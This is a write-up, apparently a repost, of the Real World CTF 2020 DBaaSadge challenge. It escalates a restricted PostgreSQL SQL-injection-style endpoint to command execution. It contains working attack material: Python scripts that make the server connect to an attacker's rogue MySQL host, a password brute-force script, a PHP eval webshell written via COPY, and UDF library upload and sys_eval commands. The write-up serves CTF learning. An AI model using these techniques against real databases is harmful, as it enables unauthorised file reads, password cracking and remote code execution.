Real World CTF 2020 DBaaSadge Writeup

I just played the RWCTF competition yesterday. I think the topic is very good. At least in this environment, postgre is the weakness of most Web players, and there are no automated testing tools in the circle, so writing this WP is still necessary.

Since most of the key technical points are the relatives in my team-the fish did it first, so here is the wp from the other's blog (Brother fish, remember to shoot me when you see it)

https://f1sh.site/2021/01/11/real-world-ctf-2020-dbaasadge-writeup/#more-426

This question learned not only postgre knowledge, but also burpsuite BApp and md5crack. Here is an analysis and summary for all students.

This article involves practical exercises on knowledge points: using burp to brute force (through this experiment to master the configuration method of burp and the use of related modules, use burp to brute force a virtual website to make the site builder from the perspective of the *** To analyze and avoid problems to strengthen website security.)

Reproduction environment download

链接:https://pan.baidu.com/s/1TKQ5UYh55KcYQVQKG-CAwA 
提取码:kwck 
复制这段内容后打开百度网盘手机App,操作更方便哦--来自百度网盘超级会员V3的分享

Source code analysis

Open the title and display the source code directly

<?php
error_reporting(0);

if(!$sql=(string)$_GET["sql"]){
  show_source(__FILE__);
  die();
}

header('Content-Type: text/plain');

if(strlen($sql)>100){
  die('That query is too long ;_;');
}

if(!pg_pconnect('dbname=postgres user=realuser')){
  die('DB gone ;_;');
}

if($query = pg_query($sql)){
  print_r(pg_fetch_all($query));
} else {
  die('._.?');
}

This source code is not difficult to understand. The main thing is that you enter a sql parameter through get, and then he will directly use the input as a parameter of pg_query, and then return the result. If it runs correctly, it will print the result, and if it is wrong, it will display emoji. The sql input is limited to 100 bytes.

In the first step, we must set up an environment by ourselves, so that we can type out errors and facilitate debugging

The way to enter the postgre interactive command line is

psql

If you get an error at this step, please switch to the postgres user and do it again

The error reporting function of pg_query is:

print_r(pg_fetch_all($query));

So we add this function to the last else

In this way, as long as we input an error, what is displayed is the error when the specific sentence is inquired.

Error when querying

Next we first look at the version and user of this postgre

Postgre version and user

Postgre version and user

This is very important. Although it is included in the dockerfile, if other topics are not given to docker in the future, you can use these two statements to query the postgre version of the topic.

select user;
select version();

According to docker, we can know that this realuser is not a superuser. If it is a superuser, you can getshell directly in many ways on the network. Nosuperuser currently cannot getshell, so the goal is very clear, that is, to raise the authority, and then execute the getshell command normally.

After checking, our team felt that it might be the bypass of the cve patched before 10.15, but the research found that the cve was a pwn, and the title clearly indicated that it was a web issue, so we gave up on this path

Then we saw in the dockerfile given by the title that he installed two extensionsTwo extensions installed

In the document, CREATE EXTENSION means to install postgre extension

Among them, the function of dblink extension in postgresql is to operate another remote database in one database

select dblink_connect('连接句柄名', 'host=XXX.XXX.XXX.XXX port=XX dbname=postgres user=myname password=mypassword');

The mysql_fdw extension is used to quickly access data in MySQL in Postgre, that is, to provide Postgre with an external Mysql access method

So our dear fish thought of rouge-mysql

This test site is relatively common in CTF. You can read arbitrary files by connecting the subject to your own MySQL malicious server (I didn't expect it)

Download the script from here

https://github.com/allyshka/Rogue-MySql-Server

There are two versions, py version and php version, the php version is recommended here

There are three reasons why the py version is not good:

1. 后台监听且不回显
(你说你监听就监听吧,还弄了个后台监听,运行完没有回显,搞半天以为我运行出错)
2. 结果在同目录下的一个mysql.log文件里,差点没找到。
3. 每次读取还得自己改一下源码里面的文件名

The php version is very user-friendly, enter the file name dynamically, and then directly echo it on the screen.

Dynamic input file name

You can refer to this website for how to use postgre's mysql_fdw. There are practical examples above:

https://blog.csdn.net/bingluo8787/article/details/100958098

We don’t need to create such a big table, just fill in an id int.

CREATE SERVER mysql_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'ip',port'3306');

CREATE USER MAPPING FOR realuser SERVER mysql_server OPTIONS (username 'root', password 'root');

CREATE FOREIGN TABLE test(id int) SERVER mysql_server OPTIONS (dbname 'a', table_name 'test');

select * from test;

DROP SERVER mysql_server

The last drop is because if the same Servername is used twice before and after, it will always report that the servername exists. Similar to the database in mysql, it will always report that it exists. Therefore, we drop it every time we run it, and the province keeps changing it.

The last poc read is as follows:

import requests
import hashlib
import random
import uuid
url ="http://54.219.197.26:60080/?sql="

#填你的IP
ip="***"
port="***"
server_name="aaaa"
dbname=server_name
Table_name=server_name

poc1="CREATE SERVER "+server_name+" FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'"+ip+"',port'"+port+"');"

#poc2里填写你自己mysql的用户名密码

poc2="CREATE USER MAPPING FOR realuser SERVER "+server_name+" OPTIONS (username 'root', password 'root');"
poc3="CREATE FOREIGN TABLE "+Table_name+"(id int) SERVER "+server_name+" OPTIONS (dbname '"+dbname+"', table_name '"+Table_name+"');"
poc4="select * from "+Table_name+";"
poc5="DROP SERVER "+server_name

r1=requests.get(url+poc1)
print(r1.text)
r2=requests.get(url+poc2)
print(r2.text)
r3=requests.get(url+poc3)
print(r3.text)
r4=requests.get(url+poc4)
print(r4.text)

Monitor php mysql.php on our server, then run poc to read the server file remotely

Remote read to server file

Then the problem is coming. The problem is given to the dockerfile. It is useless to read it. I don't know if there is no file.

At this time, the watershed came out when I did the questions with Brother Yu, and it was really not as good as others.

my thoughts

Look for loopholes in the configuration of the conf file to see if you can log in to the superuser account without a password. After PostgreSQL is installed on the UNIX platform, PostgreSQL will create a user named "postgres" in the UNIX system. The default username and database of PostgreSQL is also "postgres", and this is a superuser

But our person who asked the question thoughtfully changed the postgres password to a 5-digit random string every time docker restarted.

5-digit random string

However, I learned from the Internet that if you configure the host to trust in pg_hba.conf, you can log in without password, and then traverse and search the location of the pg_hba.conf file in docker, and find it in /etc/postgresql/10/ Under main, after reading:

After reading

Obviously, you can’t log in. When I got here, I started to want to crack the password

The blasted poc is

http://ip/?sql=SELECT%20dblink_connect(%27hostaddr=127.0.0.1%20port=5432%20dbname=postgres%20%20user=postgres%20password=aaaaa%27);

If the connection is successful, the web page will be echoed

Array
(
    [0] => Array
        (
            [dblink_connect] => OK
        )

)

Errors are echoed emoji

When blasting, I used the Turbo intruder of burpsuite

Turbo introduction

Unlike ordinary intruder, this speed is almost 10 times faster than the original version

I believe many people are still using intruder (let's change it, it's really slow)

Each burp comes with an Entender label, and there is a BAppStore in it. There are many plug-ins that can be installed. Later, I will post a special article about these plug-ins. The Turbo used this time is also in it. Just click to install. it is good

Install burp

Of course, due to various reasons, many people’s versions directly click install and there is no response for a long time, because they cannot connect to foreign servers, so here I will give you a website to download the plug-in installation package.

https://portswigger.net/bappstore

This URL can be downloaded to the latest plug-in in the list, all installation packages are at the end of .bapp, and then click Manual install in the burp page just now to install the accessory.

The main usage is as follows. After intercepting the package, there is a send to Turbo intruder button on the right button, which is relatively hidden. Just take a look.

Then when blasting, you need to fill in the py function in the box

If you blast a single password, you can use the method of blasting the verification code on the Internet, and copy the following into the box (the scripts are all ready-made, search a bunch on the Internet):

from itertools import product
def brute_veify_code(target, engine, length):
   pattern = '1234567890abcdefghijklmnopqrstuvwxyz'
   for i in list(product(pattern, repeat=length)):
        code =  ''.join(i)
        engine.queue(target.req, code)
def queueRequests(target, wordlists):
   engine = RequestEngine(endpoint=target.endpoint,
           concurrentConnections=30,
           requestsPerConnection=100,
           pipeline=True
           )
   brute_veify_code(target, engine, 6)
def handleResponse(req, interesting):
# currently available attributes are req.status, req.wordcount, req.length and req.response
 if 'error' not in req.response:
      table.add(req)

Then use %s to indicate the position that needs to be blasted in the url

Blast verification code

This speed is really fast, about 4000 per second

If it is a simple blasting, it will be much faster, but it turns out that the personal computer can't support it in a large-scale blasting.

Then the 60 million passwords in this question exploded the memory and bandwidth of my computer...

Brother Yu's practice

How can I say that people are very smart. I think of analogy to mysql. The password storage method in mysql is landing, just in the directory location of the data_directory variable. Then, in the same way, enter the docker and query the system variables, and you can see the postgre Password storage location

Here is the interactive command line of postgre

The command to enter the interactive command line of postgre is

psql

You can also use

psql -c "commond"

To execute commands directly, just like mysql

But if you are a root user and have not configured it, you cannot directly enter psql under root, and the following error will occur:

An error occurred

So we have to switch to postgres user

Change to postgres user

Then we query system variables

Query system variables

Let me talk about the exit method of psql. If you find it troublesome, just ctrl+d forcibly exit

Then we entered the directory and found a bunch of files

Found a bunch of files

How to find the password file? I saw that the conf file is md5 encrypted.

Here I teach you a command egrep that is convenient for finding the contents of files

egrep -r "内容" 目录

The content part supports regular expressions

Support regular expression

Finally found in global/1260

Found password

Provide a tool for blasting md5, this is really fast:

http://c3rb3r.openwall.net/mdcrack

Blasting method reference

http://www.91ri.org/1285.html

Soon, he came out directly, the first 5 digits are the password, the last is the user name

Blast password and username

Remember the role of the dblink extension, used to connect to the postgre database.

Then we can log in superuser directly with dblink

Log in to superuser directly with dblink

So the remaining problem is the issue of executing commands with superuser

As long as you can execute the following sentence, you can write *** into the directory. If the web directory is not 777, then you can write a udf to /tmp.

SELECT * FROM dblink('hostaddr=127.0.0.1 user=postgres password=aaaaa', 'COPY (select $$<?=@eval($_REQUEST[1]);?>$$) to $$/var/www/html/1.php$$;') as t1(record text);

But the problem comes again. It is a new connection every time and cannot maintain the last connection status. Because it is not a command line interaction, we must type all poc in one line, but it is limited to 100 bytes. This is a headache. Brother Yu and I are thinking about how to get around this length restriction.

Then there is a watershed for the team to do the problem, the difference between the master fish and the ordinary ctfer small s.

my thoughts

Since I have written mysql stored procedures before, it is clear that as long as it is a database, a complex statement can be encoded and stored in a stored procedure, and then called the next time, so as to avoid the problem of two connections not maintaining state .

For students who have no concept, please refer to the online comment on Qiangwang Cup, or refer to my previous article posted on Hetian.

So I experimented with the postgre stored procedure, and it was very fast, because this is really familiar

Experimented with the postgre stored procedure

As long as you send two requests as shown in the figure, you can call the select statement in the d function

But I still want to make it simple, because the stored procedure can be written separately in the command line, even if it is two connections, it can be written, but the carriage return in the url is not recognized when it is passed into the postgre backend, so it cannot Write separately, so the 100-character limit still cannot be bypassed. So this method does not work.

But this is not to say that this method is useless. If this is not the length limit of postgre but sensitive character filtering, then a stored procedure must be used. (The Last Dignity TT)

Brother Yu's thoughts

Brother Yu thinks of sub-queries, by writing the poc statement into a table of his own mysql server, and then selecting it when using the mysql_fdw extension to connect to the mysql server remotely.

可以将

SELECT * FROM dblink('hostaddr=127.0.0.1 user=postgres password=aaaaa', 'COPY (select $$<?=@eval($_REQUEST[1]);?>$$) to $$/var/www/html/1.php$$;') as t1(record text);

变形为

SELECT * FROM dblink((select a from c where b=1), (select a from c where b=2)) as t1(a text);

The first select is to connect, and the second is to execute commands.

Adjust the poc as follows, adjust the subquery table name b and column name s, m, and then change the servername to a66_server, and t9 as the subquery alias:

poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'IP',port'3306');"

poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'root', password 'root');"

poc3="CREATE FOREIGN TABLE a66(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'b');"

poc4="SELECT * FROM dblink((select s from a66), (select m from a66)) as t9(record text);"

First create a b database on your own server, and then create a b table, which contains the s field and the m field, and then the two fields store two poc, one for connection and one for execution

The pothole is here again!

This place must not use longtext or other text types to declare these two fields because you want to make it longer, because the following error will be reported when postgre queries from mysql:

Errors will be reported when querying

The specific cause has not been analyzed yet.

The maximum length of varchar is 65535, but due to different computers, the maximum length may be set differently. I can only set a maximum of 45000 here.

Poc to be written to mysql

drop table b;

create table b(s varchar(20000),m varchar(44000));

insert into b (s,m) value('hostaddr=127.0.0.1 user=postgres password=*****','COPY (select $$<?=@eval($_REQUEST[3]);?>$$) to $$/tmp/smity.php$$;');

It's almost as follows after it is set

Poc to be written to mysql

Then poc:

import requests
import random
import uuid
url ="http://IP/?sql="

poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'ip',port'3306');"
poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'root', password 'root');"
poc3="CREATE FOREIGN TABLE a66(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'b');"
poc4="SELECT * FROM dblink((select s from a66), (select m from a66)) as t9(record text);"

r1=requests.get(url+poc1)
print(r1.text)
r2=requests.get(url+poc2)
print(r2.text)
r3=requests.get(url+poc3)
print(r3.text)
r4=requests.get(url+poc4)
print(r4.text)

Then a file was written in the /tmp directory opposite

22.png

The subject here does not have 777 permissions to /var/www/html. So we have to consider writing udf under /tmp to execute commands

This is a fixed usage

reference

https://blog.csdn.net/qq_33020901/article/details/79032774

Please go directly to the last part of this article, because the previous part of using the environment to compile I feel too troublesome, just use the source code on github to compile

The general process is as follows:

  1. According to the major version of the topic postgre, compile a conforming version.so
  2. .soSplit the file into sql statements, just like writing the php file before, and then write it to your own mysql database
  3. Send poc to let the opposite server come to us to query the statement and execute it

udf.soCompilation process

Go to this page to download the compiler program

https://github.com/sqlmapproject/udfhack/tree/master/linux/64/lib_postgresqludf_sys

Then enter the topic docker

Install a postgre-server-dev first, otherwise there are not many header files.

apt install postgresql-server-dev-all

Then in the downloaded Makefile, add a compilation of version 10, copy the following directly, and then modify the directory in the first sentence. If your directory is wrong, go to /usr/ to see how much it is, just find / The postgre directory in usr is sufficient, and it will be created automatically without having to care about the existence of the server.

Copy the first sentence of the table of contents

Then copy the downloaded to docker

make 10

Once compiled, you will find a lib_postgresqludf_sys.so generated in the same directory

Leave him alone if you report an error

This is what we needudf.so

Then sharding

Because in postgresql high version processing, if the blocks are less than 2048, the default will be 0 to fill the block to 2048 bytes, which will cause file damage or upload failure

Use python script to split udf.so file

Python

#~/usr/bin/env python 2.7
#-*- coding:utf-8 -*-
import sys

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print "Usage:python " + sys.argv[0] + "inputfile"
        sys.exit()
    fileobj = open(sys.argv[1],'rb')
    i = 0
    for b in fileobj.read():
        sys.stdout.write(r'{:02x}'.format(ord(b)))
        i = i + 1
        if i % 2048 == 0:
            print "\n"
    fileobj.close()

There will be 6 large blocks, divided into 6 sentences, which are the same as those on the reference page

https://blog.csdn.net/qq_33020901/article/details/79032774
SELECT lo_create(9023);

insert into pg_largeobject values (9023, 0, decode('...');
insert into pg_largeobject values (9023, 1, decode('...');
insert into pg_largeobject values (9023, 2, decode('...');
insert into pg_largeobject values (9023, 3, decode('...');
insert into pg_largeobject values (9023, 4, decode('...');
insert into pg_largeobject values (9023, 5, decode('...');

SELECT lo_export(9023, '/tmp/testeval.so');

Experiments have proved that setting varchar (44000) is absolutely sufficient to write to the mysql database. Don’t worry about length

Then delete the original table and re-add

drop table b;

create table b(s varchar(20000),m varchar(44000));

insert into b (s,m) value('hostaddr=127.0.0.1 user=postgres password=25j53',"SELECT lo_create(9023);insert into......

Then run the poc just now and write /tmp/testeval.so

After writing so, we need to execute the following sql statement to execute the command

CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

select sys_eval('id');

The original reference site has one

drop function sys_eval;

It should be a mistake, it can't run after adding this

Empty the mysql data table on our server again and re-establish

drop table b;

create table b(s varchar(20000),m varchar(44000));

insert into b (s,m) value('hostaddr=127.0.0.1 user=postgres password=25j53',"CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;select sys_eval('/readflag');");

Then run poc again to get the flag

Get flag

to sum up

There are a lot of web masters in the team this time, and there are other methods. Brother Yu also posted his blog. If you are interested, you can check it out.

https://f1sh.site/2021/01/11/real-world-ctf-2020-dbaasadge-writeup/#more-426

In general. The rw web topic this time is very good. Among them, java and postgre are the weaknesses of the current ctf environment. Once you take the test, you still have to make up for things other than php.

Guess you like

Origin blog.51cto.com/14601372/2590980